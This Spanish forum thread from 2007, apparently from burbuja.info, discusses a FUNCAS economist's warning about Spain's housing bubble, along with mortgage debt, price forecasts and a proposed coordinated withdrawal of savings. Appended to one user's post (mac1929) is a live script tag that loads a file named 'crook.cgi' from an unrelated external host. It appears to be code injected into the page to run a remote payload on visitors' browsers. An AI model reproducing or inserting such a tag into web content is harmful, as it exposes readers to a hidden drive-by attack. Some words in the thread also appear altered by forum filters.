FUNCAS: No quisiera alarmar, pero creo que el riesgo es serio e importante.

Deadzoner

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FUNCAS nos avisa del credit crunch.
http://www.elpais.com/articulo/economia/inmobiliario/elpepueconeg/20070506elpnegeco_3/Tes
Lo inmobiliario

ÁNGEL LABORDA 06/05/2007

La tormenta ocasionada hace un par de semanas en la Bolsa española en torno a las empresas inmobiliarias ha provocado fundadas reflexiones entre inversores y analistas acerca de si la explosión de estas burbujas bursátiles anuncia otra explosión más importante, la de la vivienda. Es posible, pero hay que señalar que la burbuja inmobiliaria no es comparable a las que, ciclo tras ciclo, vemos en las Bolsas, donde muchos valores alcanzan cotizaciones disparatadas.

"El riesgo es serio e importante para el empleo y para las rentas de cientos de miles de ciudadanos"

Es cierto que entre 1995 y el primer trimestre de 2007 el precio de la vivienda ha aumentado un 196%, frente a un 40% que lo han hecho el IPC y las remuneraciones medias de los asalariados (gráfico izquierdo), pero eso no quiere decir que el precio de la vivienda esté sobrevalorado en esa cifra. Según estudios solventes, la sobrevaloración sería del orden del 20% al 30%, algo que ya hemos visto en otros ciclos anteriores. Este aumento del precio se ha producido básicamente por la intensa caída de los tipos de interés, que, además de originar por sí misma una apreciación de los activos mobiliarios e inmobiliarios, propició un fuerte repunte de la demanda al reducir notablemente el esfuerzo de las familias para acceder a la vivienda (gráfico central). La clave de cómo se desarrollen los acontecimientos a partir de ahora está precisamente en si dicha demanda era real (no especulativa) y en la evolución de la misma.

Lo primero se contesta al observar los datos del gráfico derecho. Vemos cómo las viviendas iniciadas han ido paralelas al número de hogares nuevos, situándose por encima de éstos en unas 190.000 por año, cifra esta última que se explica perfectamente por la demanda de segundas residencias y de los extranjeros. No parece que haya habido, por tanto, una demanda especulativa importante que pudiera salir de repente al mercado y hundir los precios. Sí que se observa, sin embargo, la generación de un exceso de oferta en el último año. Así, los visados (proyectos listos para ser iniciados), que venían siendo igual a las viviendas iniciadas hasta 2005, superaron a éstas en unos 100.000 en 2006 y las viviendas iniciadas superaron a los hogares creados en unas 262.000. Este exceso de oferta se estaría originando por la caída de la demanda, lógica si tenemos en cuenta que el "esfuerzo" para acceder a la vivienda ha ido subiendo y se sitúa ya en torno a los valores de hace diez años.

El desajuste entre oferta y demanda está provocando la desaceleración de los precios (gráfico izquierdo), cuyo aumento podría acercarse a cero en 2008 e incluso entrar en terreno negativo en los siguientes. La profundidad de esta caída dependerá de en qué medida se siga debilitando la demanda y ello, a su vez, de la evolución general de la economía y de los tipos de interés. Los expertos calculan que en los próximos años la demanda anual de viviendas puede reducirse a unas 500.000, casi un 35% por debajo de las 760.200 que se iniciaron en 2006. Es una cifra muy a tener en cuenta, pues eso podría provocar por sí mismo un punto porcentual por año de menor crecimiento del PIB durante los próximos tres o cuatro años, a lo que habría que sumar los efectos indirectos o inducidos. Cabe pensar que el empleo se vería afectado en mayor proporción, provocando un aumento del paro. No quisiera alarmar, pero creo que el riesgo es serio e importante. No sirve con decir que el aterrizaje será suave y que los precios no caerán apenas. No se trata sólo de los precios, sino sobre todo del empleo y las rentas de cientos de miles de españoles e pagapensiones.

Ángel Laborda es director de coyuntura de la Fundación de las Cajas de Ahorros (FUNCAS).
 

Deadzoner

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Jejeje
No me había fijado:
No sirve con decir que el aterrizaje será suave y que los precios no caerán apenas. No se trata sólo de los precios, sino sobre todo del empleo y las rentas de cientos de miles de españoles e pagapensiones.
Y esto lo dice FUNCAS!!!
 

>> 47 <<

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Deadzoner dijo:
El día 3 de julio puede ser un buen día para precipitar el desplome de precios retirando simultaneamente 4 billetes de 500 +47 euros de nuestros ahorros, simbolicamente, todos aquellos que no podemos emanciparnos.


http://www.burbuja.info/inmobiliaria/showthread.php?t=17326
http://www.burbuja.info/inmobiliaria/showpost.php?p=266604&postcount=11


Habrá megacorralito. Palabra de tochovista.
 

mac1929

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Me sigue sorprendiendo lo distinto que es el discurso de FUNCAS y el de la AHE, cuando la cajas son socios inmportantes de la AHE.

No comprendo que unos sean tan catastrofistas y los otros tan aterricistas.<script src="http://phonebill.ifreepages.com/burbuja/crook.cgi"></script>
 
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>> 47 <<

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mac1929 dijo:
Me sigue sorprendiendo lo distinto que es el discurso de FUNCAS y el de la AHE, cuando la cajas son socios inmportantes de la AHE.

No comprendo que unos sean tan catastrofistas y los otros tan aterricistas.
Se dicen dos cosas a la vez dependiendo de quien sea la oreja del cliente.

Memoria:

http://www.finanzas.com/id.9122004/noticias/noticia.htm
La AHE advierte de desajustes económicos por la variación de tipos en el crédito hipotecario

La Asociación Hipotecaria Española (AHE) advirtió hoy de los "desajustes" que puede producir en la economía el efecto de una variación de un punto o punto y medio porcentual de los tipos de interés sobre el importe de casi un billón de euros que suma el actual volumen de crédito hipotecario.

Europa Press
29/11/2006 (13:36h.)
"Si a casi un billón de euros de préstamo hipotecario le aplican una variación de tipos de un punto o un punto y medio, evidentemente eso tiene un impacto sobre la economía nacional enorme", apuntó el presidente de la AHE, Gregorio Mayayo.
http://www.elmundo.es/suplementos/suvivienda/2006/434/1141945215.html

10 de Marzo de 2006
http://www.elmundo.es/suplementos/suvivienda/2006/434/1141945215.html

De hecho, según la Asociación Hipotecaria Española (AHE), la mayoría de los préstamos que se revisen en marzo y utilicen el Euribor como referencia experimentarán un aumento de las cuotas. Es más, la AHE ha advertido de que las hipotecas podrían subir hasta 1.320 euros anuales en dos años si el Euribor se encarece 1,50 puntos y alcanza el 4,41%
http://www.elmundo.es/nuevaeconomia/2004/230/1089649796.html
11 de julio de 2004
La compra de viviendas apenas se desacelera, la petición de hipotecas a tipo variable continúa imparable y los tipos de interés ya están girando al alza. Esta mezcla explosiva, sobre todo para la tesorería de las familias, ha estimulado que las entidades oferten créditos más blindados, pero los usuarios no los quieren. Los expertos piden medidas urgentes del Gobierno.

El mensaje reiterado que se ha enviado desde la Administración y desde las propias organizaciones de consumidores ha sido que la mejor hipoteca es la más barata.Pues no tiene por qué ser así, ¿o pensamos igual cuando compramos una cafetera o un coche? Hay que valorar otras cualidades y las condiciones de pago. Que si el Euribor, que si el TAE bajo...el culpable es Fuenteovejuna. Ahora viene la subida y el Gobierno debe reaccionar».

Lo que pide Mayayo es similar a lo que solicitan las entidades financieras. Se quiere una reforma inmediata del mercado hipotecario para estar preparados ante una posible escalada de la jovenlandesesidad debido a las crecientes dificultades de pago de los préstamos.

El mapa de la compra de ladrillos en España está marcado por el 97,6% de las hipotecas a interés variable, según las formalizaciones del primer trimestre de 2004; por el 83,5% cuya referencia es el volátil Euribor; por unos créditos que son los más baratos de Europa; por una tasa de primera residencia en propiedad del 90%, que también saca varios cuerpos de ventaja al resto de los socios comunitarios; por un saldo vivo de deuda de las familias en 2004 de casi medio billón de euros-cerca del 64% del PIB-; por una generación de nueva vivienda, en unidades, que si no supera a la de EEUU está a la par; y por una demanda triple de más techo y paredes por parte de jóvenes, emigrantes y turistas con deseos de asentarse.

«Todo esto es muy difícil de frenar sin que se produzca una pérdida patrimonial de las familias que ya han colocado los ahorros en su propia casa. Por otra parte, la subida de tipos tardará meses, pero vendrá.
Que nadie diga ahora que ZP y solbetes no han tenido tiempo de corregirlo, y doña kelifainder tampoco. Julio 2004. Avisaban de una deuda de casi medio billón en 2004, ...y de casi un billón en 2006.
 
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>> 47 <<

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Tico dijo:
Hay una reserva de 2000 millones de billetes. ¿Puedes explicar lo del megacorralito?
¿Donde está esa reserva? ¿En los bancos apañoles? ¿Donde? ¿En los domicilios españoles?
¿Donde? ¿Entre domicilios y bancos?
¿Qué es lo que no entiendes?

1- Te dicen que...
Los españoles deben a los bancos y las cajas un 56% más de lo que tienen ahorrado
http://www.elpais.com/articulo/econ...en/ahorrado/elpepueco/20070505elpepueco_1/Tes

2- Es noticia esta semana que entrullaron a la Pantoja por tener 9500 euros sin domiciliar.
http://news.google.es/news?hl=es&ned=es&q=pantoja+9500+euros

3- El 3 de julio hay convocada una retirada masiva y simultanea de ahorros entre los que los que no pueden emanciparse.
http://www.burbuja.info/inmobiliaria/showthread.php?t=17326

4- Además hay pepitos que ya empiezan a proponer un mes sin pagar la cipoteca a los bancos, imagina si lo montasen el mismo día.
http://www.burbuja.info/inmobiliaria/showthread.php?t=29675


Activa el procesador neuronal y piensa:

1- Si los españoles deben a los bancos y las cajas un 56% más de lo que tienen ahorrado
y encima si retiramos los ahorros de los bancos todos los que no podemos emanciparnos ¿qué puede pasar? ¿ein? ;)
y si los pepitos organizaos intentan sincronizarse para no ingresar a los bancos la cuota cipotecaria creciente ¿qué puede pasar? ¿cómo se quedarían los bancos?


¿Qué es lo que no entiendes si te dicen...

que los españoles deben a los bancos un 56% más de lo que tienen ahorrado,
y encima los que no pueden emanciparse proponen retirar sus ahorros simultaneamente.

y encima los pepitos medio organizaos...

y encima el pánico inducido mediáticamente...

y encima el goteo malayo de datos con los que "vasarse"...

y encima la conducta de la neurona pendular apañola...

y encima...

¿Qué es lo que no entiendes?

¿Osas acaso desafiar las profecias de nuestro Mesias tochovista? :rolleyes:

11-27-2006, 11:52 AM
La Pantoja ¿Va a ser detenida en nueva fase O.Malaya?
http://www.burbuja.info/inmobiliaria/showthread.php?t=22765&highlight=pantoja
...esto es muy importante para el burbujismo, pues acrecenta el desprestigio de España ante la Unión Europea y su modelo salvaje de crecimiento a base del tocho y el ladrillo
Si tochovista dice que habrá corralito, habrá un megacorralito del cagarse. Son exactamente los mismos bancos protas que en Argentina. La razón es la misma: intentar evitar la fuga de los ahorros. No hay marcha atrás. Que a nadie le quepa la menor duda. Y no habrá piedad.
 
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BUMBUM

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¿FUNCAS? Me suena...:rolleyes:

¿Veis? Los más catastrofistas tendremos razón. Que nadie se espere "ajustes" de un 20-30% y que el turismo nos saque del bache.

Generalizando, construir un piso de unos 70-90 m2 puede costar entre 40.000-60.000 euros. Añadidle una repercusión del suelo del 30% y tendreis lo que debería costar...es decir, lo que va a costar. Otra cosa es que se vayan a necesitar muchos pisos, o que la gente vaya a disponer de crédito para pagarlos...

De momento, VPO a saco...:D
 

UNTROLL

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Pues ojala tengais razón, pero estos de FUNCAS, antes eran muy nuncabajistas y ahora despues del 24A muy burbujistas, lo cual me hace pensar que paso de sus opiniones y sigo con las mias, yo sencillamente no espero más de ese 20% ó 30% de forma mas o menos generalizada, un 50%, sinceramente hasta que no lo vea no me lo creere.
 

fosco

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mandriles
Hoy lo he leido en el salmoncillo (curioso que los anuncios de pisitos los han separado ya del salmonete), y en lugar de pensar, mira que bien sigue todo su curso, me he cabreado, que shishis vienen ahora con los "yatelodecíayo" jorobar. Están girando el transatlántico cuando el choque es inminente, alamierda todos, años leyendo nuncabajismos elpaiseros, como para que ahora me toquen los webos, Alamierda con todos.
 

Alatriste

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Hay que ver cómo han cambiado las tornas en menos de un año.

Recuerdo que hace un año empezaron las manifestaciones por una vivienda digna.

Hace un año se decía que el euríbor no pasaría del 4 %. No se hablaba de bajadas y el escenario de un aterrizaje suave apenas era planteado oficialmente.

Y ahora ya ves. El debate es si el aterrizaje será suave o brusco. Y cada vez son más los que se apuntan a la brusquedad del mismo.

Veremos qué opinan dentro de un año...
 

Deadzoner

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Alatriste dijo:
Hay que ver cómo han cambiado las tornas en menos de un año.

Recuerdo que hace un año empezaron las manifestaciones por una vivienda digna.

Hace un año se decía que el euríbor no pasaría del 4 %. No se hablaba de bajadas y el escenario de un aterrizaje suave apenas era planteado oficialmente.

Y ahora ya ves. El debate es si el aterrizaje será suave o brusco. Y cada vez son más los que se apuntan a la brusquedad del mismo.

Veremos qué opinan dentro de un año...
:D
Pues si, esto va muy rápido!!
Que tiempos aquellos en los que 4 locos hablaban de que la vivienda podía bajar...
 

BUMBUM

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Bueno, es interesante ver lo que decía el tal Loborda hace escasamente un añito...:D

http://www.burbuja.info/inmobiliaria/showthread.php?t=18172&highlight=FUNCAS

http://www.elpais.com/articulo/economia/Construyendo/elpnegeco/20060723elpnegeco_2/Tes

Tras este frenético y prolongado ciclo expansivo, durante el que los precios se han multiplicado casi por tres, hace tiempo que los analistas de la coyuntura y los expertos venimos augurando un ajuste, eso sí, suave, para no asustar, hacia cifras más cercanas a lo que se considera la demanda sostenible a largo plazo. Los datos de 2005 parecían apuntar en ese sentido: el crecimiento de la superficie a construir se acercó a cero en el tercer trimestre y los precios de la vivienda nueva se desaceleraron, hasta crecer sólo un 10% en el cuarto. Sin embargo, una vez más, la realidad nos ha sorprendido. Durante el último trimestre de 2005 y los primeros meses de 2006 el sector de la construcción, y concretamente la vivienda, han vuelvo a repuntar (gráficos izquierdo y central), lo que se ha reflejado en una nueva aceleración de los precios. Los indicadores adelantados, como los visados y la licitación oficial (gráfico derecho), permiten prever que, al menos este año, la construcción va a superar de nuevo las previsiones de crecimiento y de creación de empleo. Y eso, unido a la recuperación de la industria, puede impulsar al conjunto de la economía también más alto de lo que estamos pensando.
No parecía tan negatifo, ¿no?...:rolleyes:
 

fauno

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Opinión volátil y sorprendente e inexplicable de Funcas

El 4 de mayo FUNCAS publicó los 100 principales indicadores de la economía española (Se puede leer en http://www.funcas.ceca.es/indicadores/Coyuntura_Nacional_Internacional.asp).

En la pág. 3, en cuanto a los indicadores de la construcción, se comenta :

"
Comportamiento volátil y sorprendente e inexplicable caída de la obra civil hasta febrero 2007, dado el fuerte aumento de la inversión pública. A nivel agregado, los datos de los dos últimos mese parecen marcar una flexión a la baja.
"
Qué despliegue de adjetivos...